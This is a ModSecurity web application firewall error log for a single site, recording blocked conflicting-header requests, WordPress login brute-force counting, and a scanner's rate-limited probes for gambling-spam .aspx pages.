[Sat May 16 18:13:57.536974 2026] [:error] [pid 24869:tid 24929] [client 43.166.247.82:34542] [client 43.166.247.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aghDZexo3FMprMltYl41MQAAAFU"]
[Sat May 16 18:30:02.186473 2026] [:error] [pid 24979:tid 24993] [client 34.100.167.237:36118] [client 34.100.167.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.100.167.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aghHKrvSFUQiwLaOL2qc7gAAAMw"]
[Sat May 16 18:30:03.885512 2026] [:error] [pid 24979:tid 25005] [client 34.100.167.237:36118] [client 34.100.167.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.100.167.237, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aghHK7vSFUQiwLaOL2qc7wAAANg"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 18:59:43.634615 2026] [:error] [pid 61361:tid 61367] [client 129.226.211.69:45668] [client 129.226.211.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aghOH5Zojzbt3jGziNlvPAAAAUQ"]
[Sat May 16 19:39:44.961177 2026] [:error] [pid 61463:tid 61484] [client 54.37.86.223:45308] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aghXgDXdL1WU7nYXPmT2IQAAAdM"]
[Sat May 16 19:39:47.214732 2026] [:error] [pid 24867:tid 24888] [client 54.37.86.223:35584] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aghXgyDgFLCgyKq-zmYcGAAAAAc"]
[Sat May 16 19:39:49.327687 2026] [:error] [pid 61463:tid 61480] [client 54.37.86.223:35594] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aghXhTXdL1WU7nYXPmT2IgAAAc8"]
[Sat May 16 19:39:51.640122 2026] [:error] [pid 61411:tid 61431] [client 54.37.86.223:51430] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aghXh2VkiEwGnPL_dvETgwAAAZI"]
[Sat May 16 19:39:53.696816 2026] [:error] [pid 24869:tid 24909] [client 54.37.86.223:51436] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aghXiexo3FMprMltYl43iwAAAEE"]
[Sat May 16 19:39:55.679279 2026] [:error] [pid 5602:tid 5616] [client 54.37.86.223:51444] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aghXi9zTTsu77r3UIsk0qwAAAQw"]
[Sat May 16 19:39:57.842227 2026] [:error] [pid 24979:tid 24990] [client 54.37.86.223:51448] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aghXjbvSFUQiwLaOL2qi_gAAAMk"]
[Sat May 16 19:39:59.789133 2026] [:error] [pid 61361:tid 61364] [client 54.37.86.223:51454] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aghXj5Zojzbt3jGziNl0aQAAAUE"]
[Sat May 16 19:40:01.881327 2026] [:error] [pid 61361:tid 61375] [client 54.37.86.223:40338] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aghXkZZojzbt3jGziNl0bAAAAUw"]
[Sat May 16 19:40:04.019956 2026] [:error] [pid 62341:tid 62350] [client 54.37.86.223:40350] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aghXlKnvQ59ep-XG78i8dgAAAoQ"]
[Sat May 16 19:40:05.842462 2026] [:error] [pid 61361:tid 61384] [client 54.37.86.223:40358] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aghXlZZojzbt3jGziNl0egAAAVU"]
[Sat May 16 19:40:07.764232 2026] [:error] [pid 5602:tid 5608] [client 54.37.86.223:40374] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aghXl9zTTsu77r3UIsk0tAAAAQQ"]
[Sat May 16 19:40:09.641517 2026] [:error] [pid 5602:tid 5612] [client 54.37.86.223:40380] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aghXmdzTTsu77r3UIsk0tgAAAQg"]
[Sat May 16 19:40:11.690159 2026] [:error] [pid 62341:tid 62370] [client 54.37.86.223:51580] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aghXm6nvQ59ep-XG78i8eQAAApg"]
[Sat May 16 19:40:13.858277 2026] [:error] [pid 62341:tid 62363] [client 54.37.86.223:51582] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aghXnanvQ59ep-XG78i8egAAApE"]
[Sat May 16 19:40:15.983627 2026] [:error] [pid 61361:tid 61386] [client 54.37.86.223:51586] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aghXn5Zojzbt3jGziNl0kAAAAVc"]
[Sat May 16 19:40:17.918982 2026] [:error] [pid 61361:tid 61380] [client 54.37.86.223:51600] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aghXoZZojzbt3jGziNl0kgAAAVE"]
[Sat May 16 19:40:20.045771 2026] [:error] [pid 62341:tid 62356] [client 54.37.86.223:51610] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aghXpKnvQ59ep-XG78i8fwAAAoo"]
[Sat May 16 19:40:21.964177 2026] [:error] [pid 5602:tid 5618] [client 54.37.86.223:38506] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aghXpdzTTsu77r3UIsk0vQAAAQ4"]
[Sat May 16 19:40:23.995113 2026] [:error] [pid 24979:tid 24985] [client 54.37.86.223:38516] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aghXp7vSFUQiwLaOL2qjCAAAAMQ"]
[Sat May 16 19:40:26.195557 2026] [:error] [pid 5602:tid 5613] [client 54.37.86.223:38524] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aghXqtzTTsu77r3UIsk0wwAAAQk"]
[Sat May 16 19:40:28.429433 2026] [:error] [pid 62341:tid 62365] [client 54.37.86.223:38530] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aghXrKnvQ59ep-XG78i8hAAAApM"]
[Sat May 16 19:40:30.501864 2026] [:error] [pid 61463:tid 61465] [client 54.37.86.223:38534] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aghXrjXdL1WU7nYXPmT2NgAAAcA"]
[Sat May 16 19:40:32.467751 2026] [:error] [pid 61361:tid 61366] [client 54.37.86.223:60582] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aghXsJZojzbt3jGziNl0ngAAAUM"]
[Sat May 16 19:40:34.514186 2026] [:error] [pid 24979:tid 25002] [client 54.37.86.223:60596] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aghXsrvSFUQiwLaOL2qjEQAAANU"]
[Sat May 16 19:40:36.491097 2026] [:error] [pid 61411:tid 61424] [client 54.37.86.223:60606] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aghXtGVkiEwGnPL_dvETtwAAAYs"]
[Sat May 16 19:40:38.616955 2026] [:error] [pid 62210:tid 62225] [client 54.37.86.223:60620] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aghXtsjHonCA4ORo40HPLwAAAk0"]
[Sat May 16 19:40:40.616155 2026] [:error] [pid 62210:tid 62220] [client 54.37.86.223:60626] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aghXuMjHonCA4ORo40HPMAAAAkg"]
[Sat May 16 19:41:19.899055 2026] [:error] [pid 24867:tid 24889] [client 54.37.86.223:53024] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aghX3yDgFLCgyKq-zmYcMAAAAAg"]
[Sat May 16 19:41:21.716725 2026] [:error] [pid 61411:tid 61414] [client 54.37.86.223:38358] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aghX4WVkiEwGnPL_dvET3gAAAYE"]
[Sat May 16 19:41:23.621590 2026] [:error] [pid 24874:tid 24957] [client 54.37.86.223:38362] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aghX48iii6x3XidYGHHfmAAAAJY"]
[Sat May 16 19:41:26.157453 2026] [:error] [pid 61411:tid 61428] [client 54.37.86.223:38374] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aghX5mVkiEwGnPL_dvET6gAAAY8"]
[Sat May 16 19:41:28.197321 2026] [:error] [pid 24979:tid 24985] [client 54.37.86.223:38376] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aghX6LvSFUQiwLaOL2qjNgAAAMQ"]
[Sat May 16 19:41:30.097334 2026] [:error] [pid 24874:tid 24944] [client 54.37.86.223:38392] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aghX6siii6x3XidYGHHfnAAAAIk"]
[Sat May 16 19:41:32.004267 2026] [:error] [pid 24979:tid 24983] [client 54.37.86.223:36218] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aghX7LvSFUQiwLaOL2qjPQAAAMI"]
[Sat May 16 19:41:34.072518 2026] [:error] [pid 61463:tid 61482] [client 54.37.86.223:36222] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aghX7jXdL1WU7nYXPmT2SgAAAdE"]
[Sat May 16 19:41:35.985181 2026] [:error] [pid 62341:tid 62361] [client 54.37.86.223:36226] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aghX76nvQ59ep-XG78i8vQAAAo8"]
[Sat May 16 19:41:37.872729 2026] [:error] [pid 24979:tid 25005] [client 54.37.86.223:36240] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aghX8bvSFUQiwLaOL2qjRwAAANg"]
[Sat May 16 19:41:39.902901 2026] [:error] [pid 62341:tid 62366] [client 54.37.86.223:36244] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aghX86nvQ59ep-XG78i8wgAAApQ"]
[Sat May 16 19:41:41.781265 2026] [:error] [pid 62210:tid 62230] [client 54.37.86.223:45588] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aghX9cjHonCA4ORo40HPQwAAAlI"]
[Sat May 16 19:41:43.822503 2026] [:error] [pid 61361:tid 61368] [client 54.37.86.223:45604] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aghX95Zojzbt3jGziNl05QAAAUU"]
[Sat May 16 19:41:45.702296 2026] [:error] [pid 24979:tid 24983] [client 54.37.86.223:45608] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aghX-bvSFUQiwLaOL2qjWQAAAMI"]
[Sat May 16 19:41:47.732511 2026] [:error] [pid 62341:tid 62360] [client 54.37.86.223:45620] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aghX-6nvQ59ep-XG78i8xAAAAo4"]
[Sat May 16 19:41:49.755306 2026] [:error] [pid 5602:tid 5614] [client 54.37.86.223:45622] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aghX_dzTTsu77r3UIsk09gAAAQo"]
[Sat May 16 19:41:51.625326 2026] [:error] [pid 61361:tid 61386] [client 54.37.86.223:46744] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aghX_5Zojzbt3jGziNl08AAAAVc"]
[Sat May 16 19:41:53.659969 2026] [:error] [pid 24867:tid 24884] [client 54.37.86.223:46760] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aghYASDgFLCgyKq-zmYcNwAAAAM"]
[Sat May 16 19:41:55.537830 2026] [:error] [pid 5602:tid 5612] [client 54.37.86.223:46762] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aghYA9zTTsu77r3UIsk0-AAAAQg"]
[Sat May 16 19:41:57.568125 2026] [:error] [pid 24867:tid 24897] [client 54.37.86.223:46766] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aghYBSDgFLCgyKq-zmYcPAAAABA"]
[Sat May 16 19:41:59.591797 2026] [:error] [pid 5602:tid 5624] [client 54.37.86.223:46772] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aghYB9zTTsu77r3UIsk0_gAAARQ"]
[Sat May 16 19:42:01.488828 2026] [:error] [pid 61361:tid 61364] [client 54.37.86.223:58382] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aghYCZZojzbt3jGziNl0-gAAAUE"]
[Sat May 16 19:42:03.518075 2026] [:error] [pid 61361:tid 61374] [client 54.37.86.223:58386] [client 54.37.86.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aghYC5Zojzbt3jGziNl0_gAAAUs"]
